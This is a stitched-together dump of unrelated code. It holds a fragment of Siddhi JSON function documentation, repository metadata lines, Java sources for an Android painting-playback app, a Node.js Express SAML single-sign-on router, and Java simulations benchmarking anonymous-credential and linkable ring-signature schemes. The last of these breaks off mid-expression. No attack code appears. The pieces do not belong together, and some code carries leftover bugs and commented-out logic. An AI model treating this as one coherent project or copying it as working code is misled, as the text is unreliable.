href="https://siddhi.io/en/v4.x/docs/query-guide/#stream-processor">(Stream Processor)</a>* <p style="word-wrap: break-word">This tokenizes the given JSON based on the path provided and returns the response as an object.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` json:tokenizeAsObject(<STRING|OBJECT> json, <STRING> path, <BOOL> fail.on.missing.attribute) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The input json that is tokenized using the given path.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path of the input JSON that the function tokenizes.</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">fail.on.missing.attribute</td> <td style="vertical-align: top; word-wrap: break-word">If this parameter is set to 'true' and a JSON is not provided in the given path, the event is dropped. If the parameter is set to 'false', the unavailability of a JSON in the specified path results in the event being created with a 'null' value for the json element.</td> <td style="vertical-align: top">true</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="extra-return-attributes" class="md-typeset" style="display: block; font-weight: bold;">Extra Return Attributes</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Possible Types</th> </tr> <tr> <td style="vertical-align: top">jsonElement</td> <td style="vertical-align: top; word-wrap: break-word">The JSON element retrieved based on the given path and the JSON.</td> <td style="vertical-align: top">OBJECT</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream (json string,path string); @info(name = 'query1') from InputStream#json:tokenizeAsObject(json, path) select jsonElement insert into OutputStream; ``` <p style="word-wrap: break-word">This query performs a tokenization for the given JSON using the path specified. If the specified path provides a JSON array, it generates events for each element in the specified json array by adding an additional attribute as the 'jsonElement' into the stream.<br><code>e.g., jsonInput - {name:"John",enrolledSubjects:["Mathematics","Physics"]}, path - "$.enrolledSubjects" </code><br>If we use the configuration in the above example, it generates two events with the attributes "Mathematics" and "Physics".<br>If the specified path provides a single json element, it adds the specified json element as an additional attribute named 'jsonElement' into the stream <br><code> e.g., jsonInput - {name:"John",age:25}, path - "$.age" </code><br></p>
f65122c13f84cbdd9a80388ad60c9eab007f5ccb
[ "Markdown", "Java", "Maven POM" ]
9
Markdown
siddhi-io/siddhi-execution-json
c86e2d48dd326d7fe47f674234deb022ea47529f
6b630b1a38b6e6d05b67122cb2ed00282f381f16
refs/heads/master
<repo_name>jesuszarate/Project2-MoviePaint<file_sep>/app/src/main/java/edu/utah/cs4962/project2/WatchView.java package edu.utah.cs4962.project2; import android.content.Context; import android.content.res.Configuration; import android.graphics.Canvas; import android.graphics.Paint; import android.graphics.Path; import android.graphics.PointF; import android.util.Log; import android.view.View; import com.google.gson.Gson; import com.google.gson.reflect.TypeToken; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.lang.reflect.Type; import java.util.HashMap; /** * Created by <NAME> on 10/4/14. */ public class WatchView extends View { static int counter = 0; long startTime; long animationDuration = 10000; // 10 seconds int framesPerSecond = 10; boolean _pauseAnimation = false; boolean _playAnimation = false; int numberOfLinesDrawn = 0; boolean SeekBarRequested = false; int SeekBarProgress = 0; static int _count = 1; public interface OnAnimationFinishedListener{ public void onAnimationFinished(WatchView watchView); } OnAnimationFinishedListener _onAnimationFinishedListener = null; public void setOnAnimationFinishedListener(OnAnimationFinishedListener listener){ _onAnimationFinishedListener = listener; } public WatchView(Context context) { super(context); if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) { } } @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); if (SeekBarRequested) { drawScaledPoints(canvas, _count); SeekBarRequested = false; } else if (!_pauseAnimation && _playAnimation) { if (PaintAreaView.totalNumberOfPoint > _count) { drawScaledPoints(canvas, _count); double num = (double) _count * 100.0; PaintActivity._seekBar.setProgress((int) (num / PaintAreaView.totalNumberOfPoint)); this.postInvalidateDelayed(50); _count += 2; } else { PauseAnimation(); _onAnimationFinishedListener.onAnimationFinished(this); } } else if (!_pauseAnimation && false) { long elapsedTime = System.currentTimeMillis() - startTime; drawLinesInPortraitMode(canvas, (int) (elapsedTime / 50)); if (elapsedTime < animationDuration) this.postInvalidateDelayed(1000 / framesPerSecond); } else { drawScaledPoints(canvas, _count); } } private void drawLinesInPortraitMode(Canvas canvas, int numOfLinesToDraw) { numberOfLinesDrawn = numOfLinesToDraw; int count = 0; for (int lineIndex = 0; lineIndex < PaintAreaView._linePoints.size(); lineIndex++) { Paint polylinePaint = new Paint(Paint.ANTI_ALIAS_FLAG); polylinePaint.setStyle(Paint.Style.STROKE); polylinePaint.setStrokeWidth(2.0f); Path polylinePath = new Path(); polylinePaint.setColor(PaintAreaView._linePoints.get(lineIndex).getColor()); if (!PaintAreaView._linePoints.isEmpty()) { try { polylinePath.moveTo(PaintAreaView._linePoints.get(lineIndex).linePoints.get(0).x, PaintAreaView._linePoints.get(lineIndex).linePoints.get(0).y); } catch (Exception e) { continue; } for (PointF point : PaintAreaView._linePoints.get(lineIndex).linePoints) { if (count < numOfLinesToDraw) { count++; polylinePath.lineTo(point.x, point.y); } } } canvas.drawPath(polylinePath, polylinePaint); } } private void drawScaledPoints(Canvas canvas, int numOfLinesToDraw) { int count = 0; for (int lineIndex = 0; lineIndex < PaintAreaView._linePoints.size(); lineIndex++) { Paint polylinePaint = new Paint(Paint.ANTI_ALIAS_FLAG); polylinePaint.setStyle(Paint.Style.STROKE); polylinePaint.setStrokeWidth(2.0f); Path polylinePath = new Path(); polylinePaint.setColor(PaintAreaView._linePoints.get(lineIndex).getColor()); if (!PaintAreaView._linePoints.isEmpty()) { try { float pointX = ((float) PaintAreaView._linePoints.get(lineIndex).percentageLinePoints.get(0).x * getWidth()) / 100.0f; float pointY = ((float) PaintAreaView._linePoints.get(lineIndex).percentageLinePoints.get(0).y * getHeight()) / 100.0f; polylinePath.moveTo(pointX, pointY); } catch (Exception e) {continue;} float pointX; float pointY; for (PaintAreaView.PercentPoint point : PaintAreaView._linePoints.get(lineIndex).percentageLinePoints) { if(count < numOfLinesToDraw) { pointX = ((float) point.x * getWidth()) / 100.0f; pointY = ((float) point.y * getHeight()) / 100.0f; polylinePath.lineTo(pointX, pointY); count++; } } } canvas.drawPath(polylinePath, polylinePaint); } } public void PauseAnimation() { _pauseAnimation = true; _playAnimation = false; postInvalidate(); } public void PlayAnimation() { this.startTime = System.currentTimeMillis(); _pauseAnimation = false; _playAnimation = true; PaintActivity._touchedSeekBar = false; postInvalidate(); } public void saveMoviePostition(File filesDir) { try { File file = new File(filesDir, "numberOfPointsDrawn.txt"); FileWriter textWriter = null; textWriter = new FileWriter(file); BufferedWriter bufferedWriter = new BufferedWriter(textWriter); // Write the paint points in json format. bufferedWriter.write(_count); bufferedWriter.close(); } catch (IOException e) { e.printStackTrace(); } } public void loadMoviePostition(File filesDir) { try { File file = new File(filesDir, "numberOfPointsDrawn.txt"); FileReader textReader = new FileReader(file); BufferedReader bufferedReader = new BufferedReader(textReader); String lineCount = bufferedReader.readLine(); bufferedReader.close(); try { _count = Integer.parseInt(lineCount); } catch (Exception e) { e.printStackTrace(); } postInvalidate(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } } <file_sep>/app/src/main/java/edu/utah/cs4962/project2/PaintActivity.java package edu.utah.cs4962.project2; import android.app.Activity; import android.content.res.Configuration; import android.graphics.Color; import android.os.Bundle; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.SeekBar; import android.widget.Toast; public class PaintActivity extends Activity { boolean _play = true; ImageView _playButton = null; WatchView _watchView; int numberOfPoints = 0; static SeekBar _seekBar; static boolean _touchedSeekBar = false; int _seekBarPosition = 0; boolean _animationFinished = false; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (getIntent().hasExtra(CreateModeActivity.NUMBER_OF_POINTS_EXTRA)) { numberOfPoints = getIntent().getExtras().getInt(CreateModeActivity.NUMBER_OF_POINTS_EXTRA); } _playButton = new ImageView(this); LinearLayout rootLayout = new LinearLayout(this); if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) rootLayout.setOrientation(LinearLayout.HORIZONTAL); else rootLayout.setOrientation(LinearLayout.VERTICAL); _watchView = new WatchView(this); _watchView.setBackgroundColor(Color.WHITE); _watchView.setOnAnimationFinishedListener(new WatchView.OnAnimationFinishedListener(){ @Override public void onAnimationFinished(WatchView watchView) { _playButton.setImageResource(R.drawable.play); _play = true; _animationFinished = true; } }); // Seek bar LinearLayout SeekBarArea = new LinearLayout(this); SeekBarArea.setOrientation(LinearLayout.VERTICAL); _seekBar = new SeekBar(this); _seekBar.setBackgroundColor(Color.WHITE); SeekBarArea.addView(_seekBar); _seekBar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() { @Override public void onProgressChanged(SeekBar seekBar, int progress, boolean b) { // Must divide by one hundred because there is only one hundred points // int the seek bar. _seekBarPosition = (int) ((double) numberOfPoints * ((double) progress / 100.0)); if (_touchedSeekBar) { WatchView._count = _seekBarPosition; _watchView.SeekBarRequested = true; _watchView.invalidate(); } } @Override public void onStartTrackingTouch(SeekBar seekBar) { _touchedSeekBar = true; _playButton.setImageResource(R.drawable.play); _animationFinished = false; _play = true; } @Override public void onStopTrackingTouch(SeekBar seekBar) { int progress = seekBar.getProgress(); // Process here, for example using AsyncTask } }); // Menu bar LinearLayout MenuBar = new LinearLayout(this); if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) MenuBar.setOrientation(LinearLayout.VERTICAL); else MenuBar.setOrientation(LinearLayout.HORIZONTAL); MenuBar.setBackgroundColor(Color.WHITE); // GO BACK TO THE CREATE MODE. Button backToCreateButton = new Button(this); backToCreateButton.setText("Create Mode"); backToCreateButton.setBackgroundColor(0xFF61D0BE); LinearLayout.LayoutParams backToCreateButtonParams; if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) { backToCreateButtonParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, 0, 1); backToCreateButtonParams.setMargins(10, 10, 0, 10); MenuBar.addView(backToCreateButton, backToCreateButtonParams); } else{ backToCreateButtonParams = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.MATCH_PARENT, 1); backToCreateButtonParams.setMargins(10, 0, 0, 10); MenuBar.addView(backToCreateButton, backToCreateButtonParams); } backToCreateButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { _watchView.invalidate(); WatchView._count = 0; finish(); } }); // Play Button _playButton.setImageResource(R.drawable.play); if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) MenuBar.addView(_playButton, new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, 0, 1)); else MenuBar.addView(_playButton, new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.MATCH_PARENT, 1)); _playButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (_play) { if(_animationFinished){ WatchView._count = 0; _seekBar.setProgress(0); _animationFinished = false; } _playButton.setImageResource(R.drawable.pause); _watchView.PlayAnimation(); _play = false; } else { _playButton.setImageResource(R.drawable.play); _watchView.PauseAnimation(); _play = true; } } }); if (getResources().getConfiguration().orientation == Configuration.ORIENTATION_LANDSCAPE) { rootLayout.addView(MenuBar, new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.MATCH_PARENT, 20)); LinearLayout watchSeekArea = new LinearLayout(this); watchSeekArea.setOrientation(LinearLayout.VERTICAL); watchSeekArea.addView(_watchView, new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, 0, 80)); watchSeekArea.addView(SeekBarArea, new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); rootLayout.addView(watchSeekArea, new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.MATCH_PARENT, 90)); } else { rootLayout.addView(_watchView, new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, 0, 90)); rootLayout.addView(SeekBarArea, new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); rootLayout.addView(MenuBar, new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, 0, 10)); } setContentView(rootLayout); } @Override protected void onResume() { super.onResume(); _watchView.loadMoviePostition(getFilesDir()); _seekBarPosition = (int) (((double) WatchView._count * 100.0) / PaintAreaView.totalNumberOfPoint); _seekBar.setProgress(_seekBarPosition); } @Override protected void onPause() { super.onPause(); _watchView.saveMoviePostition(getFilesDir()); } }
b995625c39ea0915580665cf747790c3d6e8e878
[ "Java" ]
2
Java
jesuszarate/Project2-MoviePaint
46c8ee2665310d8b9eea9b0bf2beb8d26f94c143
15952d9883d4cfaa8d958020dc6f6fa34c28146b
refs/heads/master
<file_sep>const express = require('express'); const useragent = require('useragent'); const Saml2js = require('saml2js'); const passport = require('../../config'); const { handler, } = require('../../middlewares'); // const { // userLogin, // } = require('./../../controller'); const userAgentHandler = (req, res, next) => { const agent = useragent.parse(req.headers['user-agent']); const deviceInfo = Object.assign({}, { device: agent.device, os: agent.os, }); req.device = deviceInfo; next(); }; const router = express.Router(); /** * This Route Authenticates req with IDP * If Session is active it returns saml response * If Session is not active it redirects to IDP's login form */ router.get('/login/sso', passport.authenticate('saml', { successRedirect: '/', failureRedirect: '/login', })); /** * This is the callback URL * Once Identity Provider validated the Credentials it will be called with base64 SAML req body * Here we used Saml2js to extract user Information from SAML assertion attributes * If every thing validated we validates if user email present into user DB. * Then creates a session for the user set in cookies and do a redirect to Application */ router.post('/login/sso/callback', userAgentHandler, passport .authenticate('saml', { failureRedirect: '/', failureFlash: true }), (req, res, next) => { const xmlResponse = req.body.SAMLResponse; const parser = new Saml2js(xmlResponse); req.samlUserObject = parser.toObject(); next(); }, (req, res) => { log.info('createUserSession called'); // const user = await userService.getUserByEmail(req.userDetails.email); // if(!user){ // return res.redirect(302, `${process.env.DOMAIN_RL}/validate-sso-token?error=User Not reqistered with BrightLab`); // } // const ssoResponse = loginDato.createWSSORespSameAsDeep(req.userDetails, user); // const session = await sessionService.createSession(user, null, false, req.deviceInfo, true, ssoResponse); // const token = cassndraUtil.generateTimeuuid(); // await redisUtil.save(token, session.data, 60); // res.coooie('Authorization', session); // return res.redirect(302, `${process.env.DOMAIN_URL}/validate-sso-token?token=${token}`); // userLogin.createUserSession(res, req); }); router.get('/login/sso/:id?', passport.authenticate('saml', { successRedirect: '/', failureRedirect: '/login' } )); router.post('/login/sso/callback/:id?', userAgentHandler, passport .authenticate('saml', { failureRedirect: '/', failureFlash: true }), (req, res, next) => { const xmlResponse = req.body.SAMLResponse; const parser = new Saml2js(xmlResponse); req.samlUserObject = parser.toObject(); next(); }, (req, res) => [req.samlUserObject, req.device]); module.exports = router;<file_sep>// exports.createUserSession = async (req, res) => { // log.info('createUserSession called'); // const user = await userService.getUserByEmail(req.userDetails.email); // if(!user){ // return res.redirect(302, `${process.env.DOMAIN_RL}/validate-sso-token?error=User Not reqistered with BrightLab`); // } // const ssoResponse = loginDato.createWSSORespSameAsDeep(req.userDetails, user); // const session = await sessionService.createSession(user, null, false, req.deviceInfo, true, ssoResponse); // const token = <PASSWORD>raUtil.generateTimeuuid(); // await redisUtil.save(token, session.data, 60); // res.coooie('Authorization', session); // return res.redirect(302, `${process.env.DOMAIN_URL}/validate-sso-token?token=${token}`); // };
44d906c15ca3f95848e8cedf920a66492929283d
[ "JavaScript" ]
2
JavaScript
ankama-ad/samldemo
445d8535ec808e317e01e334083eb448ab8cd306
e5759fd61b59a2d47eb41f5d821458c1a5dbbb5c
refs/heads/master
<file_sep>package ca.uwaterloo.cheng; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.math.BigInteger; import java.nio.file.Files; import java.util.Properties; import org.bouncycastle.util.encoders.Base64; import ca.uwaterloo.cheng.utils.BloomFilter; import ca.uwaterloo.cheng.utils.Tools; import it.unisa.dia.gas.jpbc.Element; import it.unisa.dia.gas.jpbc.Pairing; import it.unisa.dia.gas.plaf.jpbc.pairing.PairingFactory; public class Simulation { private static Pairing pairing = PairingFactory.getPairing("pairingparams.properties"); // private static PairingParameters pp = PairingFactory.getPairingParameters("pairingparams.properties"); private static BloomFilter<String> Omega; private static BigInteger p, mu, d, r, v, a; private static Element g, X, Y, Z, A, W; public static void main(String[] args) { int NUM = 100; // repeat times int[] nlist = { 10, 20, 50, 1000 }; long commsize = 0; long userstore = 0; long serverstore = 0; boolean result = false; int expectedNumberOfElements = 10000000; double falsepositiverate = 0.0001; String params_file_name = "params.properties_private"; Properties prop = new Properties(); try (FileReader reader = new FileReader(params_file_name)) { prop.load(reader); } catch (IOException e) { e.printStackTrace(); System.out.println("The file cannot be loaded: params.properties_private"); System.exit(-1); } p = new BigInteger(prop.getProperty("p")); g = pairing.getG1().newElementFromBytes(Base64.decode(prop.getProperty("g"))).getImmutable(); // /gt = pairing.getGT().newElementFromBytes(Base64.decode(prop.getProperty("gt"))).getImmutable(); X = pairing.getG1().newElementFromBytes(Base64.decode(prop.getProperty("X"))).getImmutable(); Y = pairing.getG1().newElementFromBytes(Base64.decode(prop.getProperty("Y"))).getImmutable(); Z = pairing.getG1().newElementFromBytes(Base64.decode(prop.getProperty("Z"))).getImmutable(); mu = new BigInteger(prop.getProperty("mu")); A = pairing.getG1().newElementFromBytes(Base64.decode(prop.getProperty("A"))).getImmutable(); a = new BigInteger(prop.getProperty("a")); Omega = new BloomFilter<>(falsepositiverate, expectedNumberOfElements); // Xi = new BloomFilter<>(falsepositiverate, expectedNumberOfElements); // Psi = new BloomFilter<>(falsepositiverate, expectedNumberOfElements); // offline Element eYg = pairing.pairing(Y, g).getImmutable(); Element eZA = pairing.pairing(Z, A).getImmutable(); Element eZgmu = pairing.pairing(Z, g.pow(mu)).getImmutable(); Element eZg = pairing.pairing(Z, g).getImmutable(); Element eXg = pairing.pairing(X, g).getImmutable(); // user subscribe d = Tools.randomZp(p); r = Tools.randomZp(p); Element M = Y.pow(d).mul(Z.pow(r)); BigInteger temphash = Tools.hash_pp(d); BigInteger alpha = Tools.randomZp(p); BigInteger beta = Tools.randomZp(p); Element delta = Y.pow(alpha).mul(Z.pow(beta)); BigInteger eta = Tools.hash_p((Y.toString() + Z.toString() + M.toString() + delta.toString()).getBytes()); BigInteger alpha_hat = d.multiply(eta).add(alpha); BigInteger beta_hat = r.multiply(eta).add(beta); // PSP verify if (!Omega.contains(temphash.toString())) { eta = Tools.hash_p((Y.toString() + Z.toString() + M.toString() + delta.toString()).getBytes()); Element left = M.pow(eta).mul(delta); Element right = Y.pow(alpha_hat).mul(Z.pow(beta_hat)); if (left.isEqual(right)) { Omega.add(temphash.toString()); v = Tools.randomZp(p); BigInteger temppow = (v.add(a).add(mu)).modInverse(p); W = (X.mul(M)).pow(temppow); System.out.println("Server Subscribe Success"); } } // user verify Element left = pairing.pairing(W, A.mul(g.pow(v.add(mu)))); Element right = pairing.pairing(X.mul(M), g); if (left.isEqual(right)) { System.out.println("User Subscribe Success"); } /* * ------------------------------------ */ // // PLT register // BigInteger b = Tools.randomZp(p); // Element B = g.pow(b); // // // PSP verify // Element R_ab = B.pow(a.modInverse(p)); /* * ------------------------------------ */ for (int z = 0; z < nlist.length; z++) { int n = nlist[z]; // user authenticate long usercosttime = 0; long servercosttime = 0; for (int k = 0; k < NUM; k++) { long t1 = System.currentTimeMillis(); Element U = g.pow(d.add(mu).modInverse(p)); BigInteger alpha_1 = Tools.randomZp(p); BigInteger alpha_2 = Tools.randomZp(p); BigInteger beta_1 = alpha_1.multiply(v); BigInteger beta_2 = alpha_2.multiply(v); Element W_1 = (Y.pow(alpha_1)).mul(Z.pow(alpha_2)); Element W_2 = W.mul(Z.pow(alpha_1)); BigInteger rho_v = Tools.randomZp(p); BigInteger rho_d = Tools.randomZp(p); BigInteger rho_r = Tools.randomZp(p); BigInteger rho_alpha_1 = Tools.randomZp(p); BigInteger rho_alpha_2 = Tools.randomZp(p); BigInteger rho_beta_1 = Tools.randomZp(p); BigInteger rho_beta_2 = Tools.randomZp(p); Element delta_1 = (Y.pow(rho_alpha_1)).mul(Z.pow(rho_alpha_2)); BigInteger rho_v_negate = rho_v.negate().mod(p); Element delta_2 = W_1.pow(rho_v_negate).mul(Y.pow(rho_beta_1)).mul(Z.pow(rho_beta_2)); Element delta_3 = U.pow(rho_d); Element delta_4 = pairing.pairing(W_2, g).pow(rho_v_negate).mul(eYg.pow(rho_d)) .mul(eZA.pow(rho_alpha_1)).mul(eZgmu.pow(rho_alpha_1)).mul(eZg.pow(rho_r.add(rho_beta_1))); eta = Tools.hash_p( (X.toString() + Y.toString() + Z.toString() + W_1.toString() + W_2.toString() + U.toString() + delta_1.toString() + delta_2.toString() + delta_3.toString() + delta_4.toString()) .getBytes()); BigInteger rho_v_hat = v.multiply(eta).add(rho_v); BigInteger rho_d_hat = d.multiply(eta).add(rho_d); BigInteger rho_r_hat = r.multiply(eta).add(rho_r); BigInteger rho_alpha_1_hat = alpha_1.multiply(eta).add(rho_alpha_1); BigInteger rho_alpha_2_hat = alpha_2.multiply(eta).add(rho_alpha_2); BigInteger rho_beta_1_hat = beta_1.multiply(eta).add(rho_beta_1); BigInteger rho_beta_2_hat = beta_2.multiply(eta).add(rho_beta_2); long t2 = System.currentTimeMillis(); usercosttime = usercosttime + (t2 - t1); //calculate communication costs and storage costs commsize = delta_1.toBytes().length + delta_2.toBytes().length + delta_3.toBytes().length + delta_4.toBytes().length + W_1.toBytes().length + W_1.toBytes().length + U.toBytes().length + rho_v_hat.toByteArray().length + rho_d_hat.toByteArray().length + rho_r_hat.toByteArray().length + rho_alpha_1_hat.toByteArray().length + rho_alpha_2_hat.toByteArray().length + rho_beta_1_hat.toByteArray().length + rho_beta_2_hat.toByteArray().length; long pairingparametersize = 0; try { pairingparametersize = Files.size(new File("pairingparams.properties").toPath()); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); System.out.println("The file cannot be found: pairingparams.properties"); System.exit(-1); } long pubparamsize = g.toBytes().length + X.toBytes().length+Y.toBytes().length+Z.toBytes().length+A.toBytes().length+mu.toByteArray().length; userstore = pairingparametersize + pubparamsize +W.toBytes().length + v.toByteArray().length + d.toByteArray().length + r.toByteArray().length; serverstore = pairingparametersize + pubparamsize + a.toByteArray().length; for (int kk = 0; kk<n-1;kk++) { serverstore = serverstore + temphash.toByteArray().length+ U.toBytes().length; } // PSP verify long t3 = System.currentTimeMillis(); eta = Tools.hash_p( (X.toString() + Y.toString() + Z.toString() + W_1.toString() + W_2.toString() + U.toString() + delta_1.toString() + delta_2.toString() + delta_3.toString() + delta_4.toString()) .getBytes()); Element left_1 = W_1.pow(eta).mul(delta_1); Element right_1 = Y.pow(rho_alpha_1_hat).mul(Z.pow(rho_alpha_2_hat)); Element left_2 = pairing.getG1().newOneElement().pow(eta).mul(delta_2); BigInteger rho_v_hat_negate = rho_v_hat.negate().mod(p); Element right_2 = W_1.pow(rho_v_hat_negate).mul(Y.pow(rho_beta_1_hat)).mul(Z.pow(rho_beta_2_hat)); BigInteger mu_negate = mu.negate().mod(p); Element left_3 = (g.mul(U.pow(mu_negate))).pow(eta).mul(delta_3); Element right_3 = U.pow(rho_d_hat); Element left_4 = (pairing.pairing(W_2, A.mul(g.pow(mu))).mul(eXg.invert())).pow(eta).mul(delta_4); Element right_4 = pairing.pairing(W_2, g).pow(rho_v_hat_negate).mul(eYg.pow(rho_d_hat)) .mul(eZA.pow(rho_alpha_1_hat)).mul(eZgmu.pow(rho_alpha_1_hat)) .mul(eZg.pow(rho_r_hat.add(rho_beta_1_hat))); if (left_1.isEqual(right_1) & left_2.isEqual(right_2) & left_3.isEqual(right_3) & left_4.isEqual(right_4)) { // System.out.println("User Authentication Success"); result = true; } long t4 = System.currentTimeMillis(); System.out.print((t4 - t3) + " "); servercosttime = servercosttime + (t4 - t3); } System.out.println("Scheme, reserved number:" + n); // System.out.println("userstore:" + userstore); // System.out.println("serverstore:" + serverstore); // System.out.println("commsize:" + commsize); // System.out.println("user:" + usercosttime / NUM + "ms"); // System.out.println("Server:" + servercosttime / NUM + "ms"); // System.out.println(result); } } } <file_sep>package ca.uwaterloo.cheng.tradition; import java.io.File; import java.io.IOException; import java.math.BigInteger; import java.nio.file.Files; import ca.uwaterloo.cheng.utils.Tools; import it.unisa.dia.gas.jpbc.Element; import it.unisa.dia.gas.jpbc.Pairing; import it.unisa.dia.gas.jpbc.PairingParameters; import it.unisa.dia.gas.plaf.jpbc.pairing.PairingFactory; public class LinkableSig { private static Pairing pairing = PairingFactory.getPairing("pairingparams.properties"); private static PairingParameters pp = PairingFactory.getPairingParameters("pairingparams.properties"); public static void main(String[] args) { BigInteger p = pp.getBigInteger("r"); Element g = pairing.getG1().newRandomElement().getImmutable(); Element h = pairing.getG1().newRandomElement().getImmutable(); long commsize = 0; long userstore = 0; long serverstore_10 = 0; long serverstore_20 = 0; long serverstore_50 = 0; long serverstore_1000 = 0; int[] nlist = {100, 200, 500, 10000}; // total user number int NUM = 1; //repeat times int result = -1; // keygen for (int z = 0; z < nlist.length; z++) { int n = nlist[z]; BigInteger[] x = new BigInteger[n]; BigInteger[] y = new BigInteger[n]; Element[] Z = new Element[n]; for (int i = 0; i < n; i++) { x[i] = Tools.randomZp(p); y[i] = Tools.randomZp(p); Z[i] = g.pow(x[i]).mul(h.pow(y[i])).getImmutable(); } // user sign long usercosttime = 0; long servercosttime = 0; for (int k = 0; k < NUM; k++) { long t1 = System.currentTimeMillis(); String event = "Order"; Element e = Tools.hash_g(event.getBytes()).getImmutable(); Element t = e.pow(x[0]).getImmutable(); BigInteger[] c = new BigInteger[n]; for (int i = 0; i < n - 1; i++) { c[i] = Tools.randomZp(p); } BigInteger rx = Tools.randomZp(p); BigInteger ry = Tools.randomZp(p); Element K = g.pow(rx).mul(h.pow(ry)).getImmutable(); for (int i = 0; i < n - 1; i++) { K = K.mul(Z[i + 1].pow(c[i])).getImmutable(); } BigInteger call = BigInteger.ZERO; for (int i = 0; i < n - 1; i++) { call = call.add(c[i]); } Element Kpri = e.pow(rx).mul(t.pow(call)).getImmutable(); String hashstring = ""; for (int i = 0; i < n; i++) { hashstring = hashstring + Z[i].toString(); } BigInteger hash = Tools.hash_p( (hashstring + event + t.toString() + "parking" + K.toString() + Kpri.toString()).getBytes()); BigInteger cnew = hash.subtract(call).mod(p); // System.out.println(call.add(cnew).mod(p).compareTo(hash)); BigInteger xhat = rx.subtract(cnew.multiply(x[0])).mod(p); BigInteger yhat = ry.subtract(cnew.multiply(y[0])).mod(p); long t2 = System.currentTimeMillis(); usercosttime = usercosttime + (t2 - t1); //calculate communication overheads and storage costs commsize = 0; for (int cc = 0; cc < n-1; cc++) { commsize = commsize + c[cc].toByteArray().length; } commsize = commsize + xhat.toByteArray().length + yhat.toByteArray().length+cnew.toByteArray().length+t.toBytes().length; long pairingparametersize = 0; try { pairingparametersize = Files.size(new File("pairingparams.properties").toPath()); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); System.out.println("The file cannot be found: pairingparams.properties"); System.exit(-1); } long pubparamsize = h.toBytes().length + g.toBytes().length; userstore = pairingparametersize + pubparamsize+ x[0].toByteArray().length+y[0].toByteArray().length; serverstore_10 = pairingparametersize + pubparamsize; serverstore_20 = pairingparametersize + pubparamsize; serverstore_50 = pairingparametersize + pubparamsize; serverstore_1000 = pairingparametersize + pubparamsize; for(int kk = 0; kk<n;kk++) { userstore = userstore + Z[kk].toBytes().length; serverstore_10 = serverstore_10 + Z[kk].toBytes().length; serverstore_20 = serverstore_10 + Z[kk].toBytes().length; serverstore_50 = serverstore_10 + Z[kk].toBytes().length; serverstore_1000 = serverstore_10 + Z[kk].toBytes().length; } for(int kk = 0; kk<10;kk++) { serverstore_10 = serverstore_10 + t.toBytes().length; } for(int kk = 0; kk<20;kk++) { serverstore_20 = serverstore_20 + t.toBytes().length; } for(int kk = 0; kk<50;kk++) { serverstore_50 = serverstore_50 + t.toBytes().length; } for(int kk = 0; kk<1000;kk++) { serverstore_1000 = serverstore_1000 + t.toBytes().length; } // server verify long t3 = System.currentTimeMillis(); Element temp1 = g.pow(xhat).mul(h.pow(yhat)).mul(Z[0].pow(cnew)).getImmutable(); hashstring = ""; for (int i = 0; i < n; i++) { hashstring = hashstring + Z[i].toString(); } for (int i = 0; i < n - 1; i++) { temp1 = temp1.mul(Z[i + 1].pow(c[i])).getImmutable(); } call = cnew; for (int i = 0; i < n - 1; i++) { call = call.add(c[i]); } Element temp2 = e.pow(xhat).mul(t.pow(call)).getImmutable(); hash = Tools .hash_p((hashstring + event + t.toString() + "parking" + temp1.toString() + 